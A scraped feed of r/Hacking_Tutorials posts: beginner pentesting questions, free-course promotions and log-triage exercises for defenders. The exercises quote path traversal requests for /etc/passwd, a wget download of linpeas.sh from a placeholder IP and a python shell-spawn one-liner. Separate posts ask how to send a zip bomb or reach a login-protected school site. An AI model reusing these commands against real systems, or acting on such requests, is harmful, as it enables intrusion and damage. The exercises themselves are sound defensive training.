r/Hacking_Tutorials • u/peteherzog • 2d ago
Hack everythingbut harm none
r/Hacking_Tutorials • u/Practical_Goal777 • 2d ago
Hi guys,
I'm new to web application pentesting, coming from a network engineering background.
I've learned the basics of HTML, CSS, JS, SQL, PHP, API pentesting, and completed some PortSwigger labs.
Currently, I'm learning SSTI, but I'm confused about the different template engines (Jinja2, Twig, FreeMarker, etc.).
It's not practical to learn every engine in depth. When testing for SSTI, how do you approach unfamiliar template engines and craft appropriate payloads?
Do you study their documentation, memorize payloads, or follow some other approach?
Would appreciate advice from experienced pentesters. Thanks!
r/Hacking_Tutorials
•
u/Potential-Couple-745
•
3d ago
I'm behind Codelivly. We've added a Red Team Operator Level 1 career path for people who want to get into offensive security.
It covers:
The idea is to start with the fundamentals before moving into more advanced red teaming concepts.
We've included hands-on browser practice alongside the learning material. The simulations have limitations, so pairing them with your own lab environment is useful too.
Everything on Codelivly's learning platform is free. No subscription or credit card required.
https://codelivly.com/career-paths/red-team-operator-l1
I know this sounds promotional since I'm behind the platform, but I'm sharing it so people looking for free resources can find somewhere to start.
If you try it, I'd appreciate feedback on what we should improve.
r/Hacking_Tutorials • u/sihuca50 • 2d ago
I just found my old Moto X 1st generation phone, I don't remember the password, it would be easy to reset it to factory settings since I want to use it as a camera for my PC, but I got curious about learning how to unlock it without a PIN, though I have no clue how to do it, but I have free time. Would anyone have a tutorial? I've seen that there are apps, but I don't know where to start.
r/Hacking_Tutorials • u/Royalspleasurez • 3d ago
Reviewing a small web server's Apache error.log, these five lines appear in a tight window. One feels like it could indicate active exploitation rather than routine noise.
[Mon Oct 14 09:41:12 2024] [error] [client 203.0.113.19] File does not exist: /var/www/html/wp-login.php [Mon Oct 14 09:41:15 2024] [error] [client 198.51.100.7] PHP Warning: include(/var/www/html/../../../etc/passwd): failed to open stream [Mon Oct 14 09:41:18 2024] [error] [client 192.0.2.45] script '/var/www/html/admin/config.php' not found or unable to stat [Mon Oct 14 09:41:22 2024] [error] [client 203.0.113.19] PHP Fatal error: Uncaught Error: Call to undefined function system() in /var/www/html/upload.php [Mon Oct 14 09:41:25 2024] [error] [client 198.51.100.7] File does not exist: /var/www/html/.env
Questions for discussion:
Bonus: Write the exact grep or awk one-liner that would extract every line containing a path traversal pattern (../) from a larger error.log.
Beginners welcome just answer the first question with your reasoning.
r/Hacking_Tutorials • u/GlossSinful • 3d ago
I’ve been brushing up on practical log triage and incident response habits lately, and one thing that always stands out when reviewing raw authentication logs is how easy it is to get tunnel-visioned on noisy failure spam while glossing over the one entry that actually changed state. When a server is exposed to the internet on port 22, background noise is practically guaranteed, so separating routine brute-force chatter from high-impact anomalies is half the battle.
Suppose you're reviewing a Linux server's /var/log/auth.log and pull up this tight 14-second window of sshd activity:
Oct 12 14:22:01 server sshd[1234]: Failed password for invalid user admin from 192.0.2.45 port 22 ssh2
Oct 12 14:22:04 server sshd[1235]: Failed password for invalid user root from 203.0.113.19 port 22 ssh2
Oct 12 14:22:09 server sshd[1236]: Accepted password for user alice from 198.51.100.7 port 22 ssh2
Oct 12 14:22:11 server sshd[1237]: Failed password for user alice from 203.0.113.19 port 22 ssh2
Oct 12 14:22:15 server sshd[1238]: Failed password for invalid user test from 192.0.2.45 port 22 ssh2
At a glance, you've got invalid-user probes (admin, root, test), a failed password attempt against a valid local account (alice), and a successful password authentication for alice right in the middle of the sequence. Even with a small snippet like this, different analysts and sysadmins will prioritize their first pivot differently depending on whether they lead with "state change first" (successful access), "known user targeting" (a valid account being hit), or "source correlation" (seeing if the same IPs show up across broader windows or other services).
To make it easy to jump in whether you're deep into blue-team work or just learning how to read auth.log, here are four prompts to unpack it:
Accepted password for user alice from 198.51.100.7 entry suggest—and what context (like known VPN/office IPs, normal login hours, or password vs. SSH key usage) would tell you whether it's legitimate or a compromise?invalid user attempts from 192.0.2.45 (and the root / alice hits from 203.0.113.19) point to automated scanning/credential stuffing, or could there be more going on here?syslog, auditd, or web/auth logs), alice's account/session activity and sudo history, active network connections, or firewall/fail2ban rules?Beginners are more than welcome to answer just the first question—share your reasoning and how you approach reading logs like this in the real world!
r/Hacking_Tutorials • u/glossy_pearlie • 3d ago
You're doing post-incident review on a Linux box and pull the .bash_history for a low-privileged account that was later used to escalate. Here are the last few commands captured before the box was isolated:
...
cat /etc/passwd
wget
http://198.51.100.23/tools/linpeas.sh -
O /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh I grep -E 'SUDOlroot'
echo 'import os;
os.system("/bin/bash")' > /tmp/rev.py
&& python3 /tmp/rev.py
**Questions for discussion:**
Beginners welcome — answer just the first question if you like. Post your reasoning below.
r/Hacking_Tutorials • u/omarww21 • 3d ago
I was spending too much time typing out long Metasploit commands and switching between Nmap, Whatweb, and msfconsole during lab exercises. So, I built a small Python wrapper called mm to streamline the workflow.
It does a few things:
mm s: Runs nmap -sS -sV -O in one command.mm w: Chains Whatweb, Nikto, and Gobuster.mm v**,** mm sm**, etc.**: Presets for common Metasploitable 2 vulnerabilities (vsftpd, Samba, etc.).mm auto: Scans the target and automatically tries matching exploits.It's built for authorized lab environments (Metasploitable/HTB) and requires a -y flag to confirm legal authorization before running any command.
The code is open-source (MIT license). I'd love to get feedback on the architecture or any features I should add.
Link to GitHub repo: [https://github.com/omar24265/minimsf]
Disclaimer: This tool is for educational and authorized testing purposes only.
r/Hacking_Tutorials • u/krazykid703 • 2d ago
How do I safely send a zip bomb through text
r/Hacking_Tutorials • u/Crazy-Rock-5412 • 3d ago
Because earlier on Telegram, a guy told me where I lived and my real name. If someone kind enough, could you explain to me how he did it?
r/Hacking_Tutorials • u/Sure-Art-9085 • 3d ago
Hello. So basically, I'm trying to view a website that you need a school login for. I really need to see the site, its a school sports page. The reason (before anyone assumes I have malicious intentions) is just because I have a family member who's interested in it. Thank you.
r/Hacking_Tutorials • u/kinkySpiceee • 4d ago
You're reviewing a small web server's access log and spot these entries. One stands out.
192.0.2.45 - - [12/Oct/2024:14:22:01 +0000] "GET / HTTP/1.1" 200 1243 192.0.2.45 - - [12/Oct/2024:14:22:04 +0000] "GET /admin HTTP/1.1" 403 312 203.0.113.19 - - [12/Oct/2024:14:22:09 +0000] "GET /index.php?page=../../../../etc/passwd HTTP/1.1" 200 1847 203.0.113.19 - - [12/Oct/2024:14:22:11 +0000] "GET /login.php HTTP/1.1" 200 892 198.51.100.7 - - [12/Oct/2024:14:22:15 +0000] "POST /login.php HTTP/1.1" 302 0
Questions:
Bonus: Write the exact grep command that would pull every line containing the suspicious IP from a larger access.log file.
Post your reasoning. Beginners are welcome to answer just the first question.
r/Hacking_Tutorials • u/Potential-Couple-745 • 4d ago
Hey everyone,
I've been working on Codelivly, a free cybersecurity learning platform where you can learn by actually doing things instead of just watching tutorials.
We've already got CTF challenges, interactive terminal labs, structured learning paths, and cybersecurity career paths.
Everything is free to learn and practice. No subscription or credit card required.
We're now planning the next batch of CTFs and hands-on labs, and I'd rather ask the community what they actually want instead of just guessing.
A few areas we're considering:
So here's my question:
What kind of CTF or hands-on lab would you genuinely enjoy solving?
Would you prefer beginner-friendly challenges with hints, or harder scenarios where you're completely on your own?
If there's a particular vulnerability, attack technique, or real-world scenario you've always wanted to practice, drop it below.
You can explore what's already available at https://codelivly.com
I'm reading the suggestions and will use them to help decide what we build next.
And if you've already tried Codelivly, I'd love to hear what needs improving too.
The goal is simple: make practical cybersecurity learning accessible to everyone, for free.
r/Hacking_Tutorials • u/Potential-Couple-745 • 4d ago
You’re checking a Linux server and come across these SSH logs. Something deserves a closer look.
This is a fictional, shortened extract:
02:14:03 sshd: Accepted publickey for alex from 198.51.100.24
02:14:11 sshd: Failed password for root from 203.0.113.77
02:14:14 sshd: Failed password for invalid user test from 203.0.113.77
02:14:19 sshd: Failed password for deploy from 203.0.113.77
02:14:22 sshd: Failed password for deploy from 203.0.113.77
02:14:26 sshd: Accepted password for deploy from 203.0.113.77
02:15:04 sshd: Accepted publickey for alex from 198.51.100.24Your challenge:
Bonus: The full log has 100,000 lines. Write a Linux command to extract every entry containing the suspicious IP from auth.log.
Post your reasoning with your answer. If you’re just starting out, have a go at the first two.
r/Hacking_Tutorials • u/Elliot-1988 • 5d ago
Hey everyone, I run DaySec.org and put together a glossary for people learning web security or reading write-ups and vulnerability advisories. I wanted something you could keep open while working through a topic and quickly look up unfamiliar terms.
It covers 172 terms, including CVE, CVSS, CWE, SSRF, CSP, JWT, and OAuth 2.0. You can search by acronym or full name, filter by topic, or browse A–Z. Each term has its own page, so you can link directly to a definition when explaining something to someone else.
If you’re learning web security or help others get started, which term would you add? I’d also like to hear if any of the existing definitions assume too much background.
r/Hacking_Tutorials • u/duskyWinks • 4d ago
If you're learning how sessions are protected in web apps, pick any practice site that lets you create an account and log in.
Write down which cookies carry your identity and which flags are (or aren't) set. Doing this on a few sites shows where session tokens are left exposed to JavaScript or cross-site requests.
What cookie flag surprised you most on your first practice site?
r/Hacking_Tutorials • u/_frostedlips_ • 5d ago
If you're learning how web apps handle data that isn't shown on the page, pick any practice site that has a form (login, registration, search, or profile update).
<input type="hidden"> tags or any field with the hidden attribute.Write down which fields seem to control flow or authorization. Doing this on a few sites makes it easier to spot where client-side trust can be tested later.
What was the most interesting hidden field you found on your first try?
r/Hacking_Tutorials • u/tomiczech7 • 5d ago
Hi all,
a while ago I shared networksim.app here – a free, browser-based network simulator with built-in courses, made for beginners and people who aren't network engineers. No install, no account. It started as a teaching aid for my security classes and slowly grew into its own thing.
Version 0.8 is out now, and a few things I'm most excited about:
* **Floor plan with realistic Wi-Fi** – draw walls, place access points, see the signal, measure distances, and get a rough speed estimate for each connection
* **6 GHz Wi-Fi** and tri-band APs (only WPA3/802.1X networks, like in real life)
* **Packet view** – see what's actually inside a packet as it travels
* **Attacker tools** for practicing what a network looks like from the other side
* **Advanced mode closer to reality** – e.g. "established" in ACLs only applies to TCP, and a dynamic routing protocol doesn't learn routes from a router with only static ones
* **German language** – added at a user's request and translated in collaboration with them
There's more – the full list is in the app itself.
It's a hobby project and I'm still building it, so any feedback is very welcome: what confused you, what's missing, what broke.

r/Hacking_Tutorials • u/Chopper_Charles • 5d ago
r/Hacking_Tutorials • u/Potential-Couple-745 • 6d ago
Here’s a small exercise if you’re getting started with web security: follow what happens between clicking “Log in” and opening your account page.
Use a local practice app with a test account.
Cookieor Authorization header. What is the browser sending to identify your session?Write down the flow in three sentences: what you submitted, what the server returned, and how later requests carry your login.
Understanding that flow gives you something concrete to investigate when you start studying authentication and session vulnerabilities.
What small exercise helped web security make sense to you?